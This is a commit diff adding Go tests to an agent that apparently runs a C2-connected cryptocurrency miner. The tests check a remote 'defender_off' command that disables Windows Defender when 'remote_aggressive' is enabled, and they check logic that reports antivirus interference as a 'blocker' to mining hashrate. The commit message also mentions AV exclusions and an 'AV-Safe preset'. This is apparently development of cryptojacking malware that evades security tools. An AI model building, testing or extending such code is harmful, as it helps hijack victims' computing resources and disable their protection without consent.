Add AV/Defender tests for diagnostics, exclusions, and defender_off.

Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.

agent/client/aggressive_commands_test.go

@@ -188,6 +188,46 @@ func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
 	}
 }
 
+func TestDefenderOffRequiresRemoteAggressive(t *testing.T) {
+	c := newTestClient(t)
+	c.cfg.RemoteAggressive = false
+	ok, reason := c.allowRemoteAction("defender_off")
+	if ok || reason == "" {
+		t.Fatalf("expected defender_off gated without remote_aggressive")
+	}
+	c.cfg.RemoteAggressive = true
+	ok, reason = c.allowRemoteAction("defender_off")
+	if !ok || reason != "" {
+		t.Fatalf("expected defender_off allowed: ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestDefenderOffErrorPathNonWindows(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("Windows success/failure paths tested in deploy/defender_windows_test.go")
+	}
+	c := newTestClient(t)
+	c.cfg.RemoteAggressive = true
+	var gotAct string
+	var gotOK bool
+	var gotMsg string
+	c.commandResultHook = func(action string, success bool, message string) {
+		gotAct, gotOK, gotMsg = action, success, message
+	}
+	if !c.handleAggressiveCommand("defender_off", 0, "", "", "") {
+		t.Fatal("defender_off should be handled")
+	}
+	if gotAct != "defender_off" {
+		t.Fatalf("action=%q", gotAct)
+	}
+	if gotOK {
+		t.Fatalf("expected failure on non-Windows, msg=%q", gotMsg)
+	}
+	if !strings.Contains(gotMsg, "Windows-only") && !strings.Contains(gotMsg, "defender disable failed") {
+		t.Fatalf("expected defender error in message, got %q", gotMsg)
+	}
+}
+
 func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
 	var (
 		mu     sync.Mutex

agent/client/mining_diagnostics_test.go

@@ -178,6 +178,30 @@ func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
 	}
 }
 
+func TestInferMiningBlockersJobPresentZeroHashrate(t *testing.T) {
+	c := testDiagnosticsClient(t, config.RuntimeConfig{})
+	d := MiningDiagnostics{
+		C2Connected: true,
+		CPU: struct {
+			RemotePaused     bool    `json:"remote_paused"`
+			ScheduleBlocked  bool    `json:"schedule_blocked"`
+			ResourcesBlocked bool    `json:"resources_blocked"`
+			HasJob           bool    `json:"has_job"`
+			Hashrate         float64 `json:"hashrate_hps"`
+		}{HasJob: true, Hashrate: 0},
+	}
+	blockers := c.inferMiningBlockers(d)
+	found := false
+	for _, b := range blockers {
+		if strings.Contains(b, "hashrate=0") && strings.Contains(b, "AV") {
+			found = true
+		}
+	}
+	if !found {
+		t.Fatalf("expected AV/throttle blocker, got %v", blockers)
+	}
+}
+
 func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
 	c := testDiagnosticsClient(t, config.RuntimeConfig{
 		BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},